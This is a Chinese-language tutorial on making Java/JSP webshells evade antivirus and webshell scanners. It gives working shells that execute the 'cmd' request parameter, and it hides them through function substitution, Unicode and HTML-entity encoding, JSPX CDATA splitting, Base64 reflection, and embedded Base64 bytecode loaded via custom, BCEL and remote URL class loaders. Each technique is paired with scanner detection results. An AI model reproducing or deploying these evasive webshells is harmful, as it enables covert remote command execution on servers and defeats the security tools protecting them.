JAVA免杀学习与实验

1 认识Webshell

创建一个JSP文件：

<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page language="java" pageEncoding="utf-8" %><%String cmd = request.getParameter("cmd");Process process = Runtime.getRuntime().exec(cmd);InputStream is = process.getInputStream();BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));String r = null;while((r = bufferedReader.readLine())!=null){response.getWriter().println(r);}
%>

Tomcat运行 

这就是一个典型的webshell，但这个webshell的各种特征已经被安全检测平台记录，很容易识别出来。

【virustotal】

【D盾】

【shellpub】

接下来进行免杀，免杀就是将这些被识别的特征进行替换，绕过，混淆和干扰。

2 基础免杀

2.1 替换敏感函数

Runtime.getRuntime().exec(cmd)其实最终调用的是ProcessBuilder这个函数，因此我们可以直接利用ProcessBuilder来替换Runtime.getRuntime().exec(cmd)，从而绕过正则表达式检测。

（1）新的JSP文件

（2）运行测试

（3）安全检测

【virustotal-未识别】

【D盾-未识别】

【shellpub-识别】

2.2 BeansExpression免杀

（1）JSP

（2）运行测试

（3）检测结果

【shellpub-未识别】

【D盾-未识别】

【火绒-识别】

3 编码免杀

3.1 UNICODE编码

（1）JSP文件

编码网址：https://3gmfw.cn/tools/unicodebianmazhuanhuanqi/

编码后内容会存在 \ua ，需要手动删除，负责无法正常运行

（2）检测结果

【shellpub-识别】

【D盾-识别】

【火绒-未识别】

3.2 CDTAT

（1）JSPX特性​​​​​​​

jspx是JSP 2.0中的一项重要的功能提升，jspx其实就是以xml语法来书写jsp的文件。JSPX需要将jsp中不符合XML规范的tag进行替换，如：

<%@ include .. %>         <jsp:directive.include .. />

<%@ page .. %>             <jsp:directive.page .. />

<%= ..%>                        <jsp:expression> .. </jsp:expression>

<% ..%>                          <jsp:scriptlet> .. </jsp:scriptlet>

（2）JSP文件

检测结果-均可检出

（3）CDTAT特性，<![CDATA[与]]>只要能配对就相互抵消，其他不变

（4）检测结果

【shellpub-识别】

【D盾-未识别】

【火绒-未识别】

（5）HTML

JSPX可以识别html编码

注意：注意：含有CDATA的内容是不能进行html实体编码的，反之html实体编码后的内容也不能插入CDATA，否则无法执行

编码网站：https://www.qqxiuzi.cn/bianma/zifushiti.php

4 反射免杀

4.1 基础反射

（1）JSP文件

（2）查杀结果

工具	shellhub	D盾	火绒
结果	识别	识别	识别

4.2 优化

反射中的明显特征如java.lang.Runtime，getRuntime，exec这些敏感内容，都是字符串形式输入，由此我们能操作的空间就很大了。

（1）BASE64加密

检测结果

工具	shellhub	D盾	火绒
结果	识别	识别	未识别

（2）getDeclaredMethod替换getMethod

检测结果

工具	shellhub	D盾
结果	识别	识别

（3）经过测试某盾查杀的是当存在反射函数又存在Process类的getInputStream方法时会被查杀

检测结果

工具	shellhub	D盾
结果	识别	未识别

5 字节码免杀

5.1 生成字节码

（1）JAVAC生成字节码

编写程序加载class

（2）javassist生成字节码​​​​​​​

import javassist.*;import java.io.IOException;
import java.util.Base64;public class test2 {public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {ClassPool classPool = ClassPool.getDefault();CtClass cc1 = classPool.makeClass("com.demo2.shell");CtConstructor cons = new CtConstructor(new CtClass[]{},cc1);cons.setBody("{}");String runCode1="{}";cons.insertBefore((runCode1));cc1.addConstructor(cons);CtMethod cm2 = new CtMethod(ClassPool.getDefault().get("java.lang.String"), "runs", new CtClass[]{classPool.get("java.lang.String")}, cc1);cm2.setModifiers(Modifier.PUBLIC);cm2.setBody("{        Process process = Runtime.getRuntime().exec($1);\n" +"        java.io.InputStream is = process.getInputStream();\n" +"        java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(is));\n" +"        String r = \"\";\n" +"        String s = \"\";\n" +"        while((r = bufferedReader.readLine())!=null){\n" +"            s += r;\n" +"        }\n" +"        return s;}");cc1.addMethod(cm2);System.out.println(new String(Base64.getEncoder().encode(cc1.toBytecode())));}
}

（3）ASM生成字节码

package demo2;import jdk.internal.org.objectweb.asm.ClassWriter;
import jdk.internal.org.objectweb.asm.MethodVisitor;
import java.util.Base64;
import static jdk.internal.org.objectweb.asm.Opcodes.*;public class test3 {public static void main(String[] args){ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);cw.visit(V1_8, ACC_PUBLIC, "Shell", null, "java/lang/Object", null);MethodVisitor mw = cw.visitMethod(ACC_PUBLIC, "<init>", "()V", null, null);mw.visitVarInsn(ALOAD, 0);mw.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "<init>", "()V",false);mw.visitInsn(RETURN);mw.visitMaxs(1, 1);mw.visitEnd();MethodVisitor mw2 = cw.visitMethod(ACC_PUBLIC, "runs","(Ljava/lang/String;)Ljava/lang/Process;", null, null);mw2.visitCode();mw2.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime","()Ljava/lang/Runtime;",false);mw2.visitVarInsn(ALOAD,1);mw2.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);mw2.visitInsn(ARETURN);mw2.visitMaxs(10, 3);mw2.visitEnd();byte[] code = cw.toByteArray();System.out.println(new String(Base64.getEncoder().encode(code)));}

5.2 Classloader加载字节码

加载的类名要与class对应上。

（1）JSP文件

<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.security.cert.Certificate" %>
<%@ page import="java.security.*" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%ClassLoader loader = new ClassLoader() {@Overridepublic Class<?> loadClass(String name) throws ClassNotFoundException {if(name.contains("demo2.shell")){return findClass(name);}return super.loadClass(name);}@Overrideprotected Class<?> findClass(String name) throws ClassNotFoundException {try {byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAQwoAEAAgCgAhACIKACEAIwoAJAAlBwAmBwAnCgAGACgKAAUAKQgAKgoABQArBwAsCgALACAKAAsALQoACwAuBwAvBwAwAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABHJ1bnMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHADEHADIHADMHACYBAApFeGNlcHRpb25zBwA0AQAKU291cmNlRmlsZQEACnNoZWxsLmphdmEMABEAEgcANQwANgA3DAA4ADkHADIMADoAOwEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyDAARADwMABEAPQEAAAwAPgA/AQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAEAAQQwAQgA/AQALZGVtbzIvc2hlbGwBABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N0cmluZwEAEWphdmEvbGFuZy9Qcm9jZXNzAQATamF2YS9pby9JbnB1dFN0cmVhbQEAE2phdmEvaW8vSU9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcAIQAPABAAAAAAAAIAAQARABIAAQATAAAAHQABAAEAAAAFKrcAAbEAAAABABQAAAAGAAEAAAAIAAkAFQAWAAIAEwAAAKEABQAGAAAAS7gAAiq2AANMK7YABE27AAVZuwAGWSy3AAe3AAhOEgk6BBIJOgUttgAKWToExgAcuwALWbcADBkFtgANGQS2AA22AA46Baf/4BkFsAAAAAIAFAAAACIACAAAAAsACAAMAA0ADQAdAA4AIQAPACUAEAAvABEASAATABcAAAAcAAL/ACUABgcAGAcAGQcAGgcAGwcAGAcAGAAAIgAcAAAABAABAB0AAQAeAAAAAgAf");PermissionCollection pc = new Permissions();pc.add(new AllPermission());ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null);return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);} catch (Exception e) {e.printStackTrace();}return super.findClass(name);}};
String cmd = request.getParameter("cmd");Class<?> shell = loader.loadClass("demo2.shell");Object object =  shell.newInstance();Method method = shell.getMethod("runs",String.class);Object o = method.invoke(object, cmd);InputStream is = new ByteArrayInputStream(o.toString().getBytes());BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));String r = "";String s = "";while((r = bufferedReader.readLine())!=null){s += r;}response.getWriter().println(s);%>

（2）运行

（3）检测结果

工具	shellhub	D盾	火绒
结果	识别	未识别	未识别

5.3 BCEL字节码免杀

Apache Commons BCEL被包含在了JDK的原生库中，BCEL库提供了一系列用于分析、创建、修改Java Class文件的API用于处理字节码，但是com.sun.org.apache.bcel.internal.util.ClassLoader这个类加载器由于安全问题，在JDK7以上版本被移除，导致BCEL字节码的利用变得很局限。

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="com.sun.org.apache.xml.internal.security.utils.Base64" %>
<%@ page import="com.sun.org.apache.bcel.internal.classfile.Utility" %>
<%byte[] bytes = Base64.decode("yv66vgAAADQAQwoAEAAgCgAhACIKACEAIwoAJAAlBwAmBwAnCgAGACgKAAUAKQgAKgoABQArBwAsCgALACAKAAsALQoACwAuBwAvBwAwAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABHJ1bnMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHADEHADIHADMHACYBAApFeGNlcHRpb25zBwA0AQAKU291cmNlRmlsZQEACnNoZWxsLmphdmEMABEAEgcANQwANgA3DAA4ADkHADIMADoAOwEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyDAARADwMABEAPQEAAAwAPgA/AQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAEAAQQwAQgA/AQALZGVtbzIvc2hlbGwBABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N0cmluZwEAEWphdmEvbGFuZy9Qcm9jZXNzAQATamF2YS9pby9JbnB1dFN0cmVhbQEAE2phdmEvaW8vSU9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcAIQAPABAAAAAAAAIAAQARABIAAQATAAAAHQABAAEAAAAFKrcAAbEAAAABABQAAAAGAAEAAAAIAAkAFQAWAAIAEwAAAKEABQAGAAAAS7gAAiq2AANMK7YABE27AAVZuwAGWSy3AAe3AAhOEgk6BBIJOgUttgAKWToExgAcuwALWbcADBkFtgANGQS2AA22AA46Baf/4BkFsAAAAAIAFAAAACIACAAAAAsACAAMAA0ADQAdAA4AIQAPACUAEAAvABEASAATABcAAAAcAAL/ACUABgcAGAcAGQcAGgcAGwcAGAcAGAAAIgAcAAAABAABAB0AAQAeAAAAAgAf");String code = Utility.encode(bytes, true);String bcelCode = "$$BCEL$$" + code;com.sun.org.apache.bcel.internal.util.ClassLoader bcelClassLoader = new com.sun.org.apache.bcel.internal.util.ClassLoader();Class<?> shell = bcelClassLoader.loadClass(bcelCode);Object object = shell.newInstance();Method dm = shell.getDeclaredMethod("runs",String.class);String cmd = request.getParameter("cmd");response.getWriter().println(dm.invoke(object, cmd));
%>

检测结果

工具	shellhub	D盾	火绒
结果	识别	未识别	未识别

5.4 URLClassLoader加载​​​​​​​

<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.lang.reflect.Method" %>
<%String cmd = request.getParameter("cmd");URL url = new URL("http://127.0.0.1:8000/");URLClassLoader classLoader = new URLClassLoader(new URL[]{url});System.out.println("父类加载器：" + classLoader.getParent()); // 默认父类加载器是系统类加载器Class shell = classLoader.loadClass("demo2.shell");Object object =  shell.newInstance();Method dm = shell.getDeclaredMethod("runs",String.class);Object invoke = dm.invoke(object, cmd);response.getWriter().println(invoke);%>

服务端：

第一步：在一个文件夹中使用python开启一个http服务python -m http.server

第二步：将编译好的class文件，根据全限定类名创建相应的文件夹，并导入class文件

检测结果

工具	shellhub	D盾	火绒
结果	未识别	未识别	未识别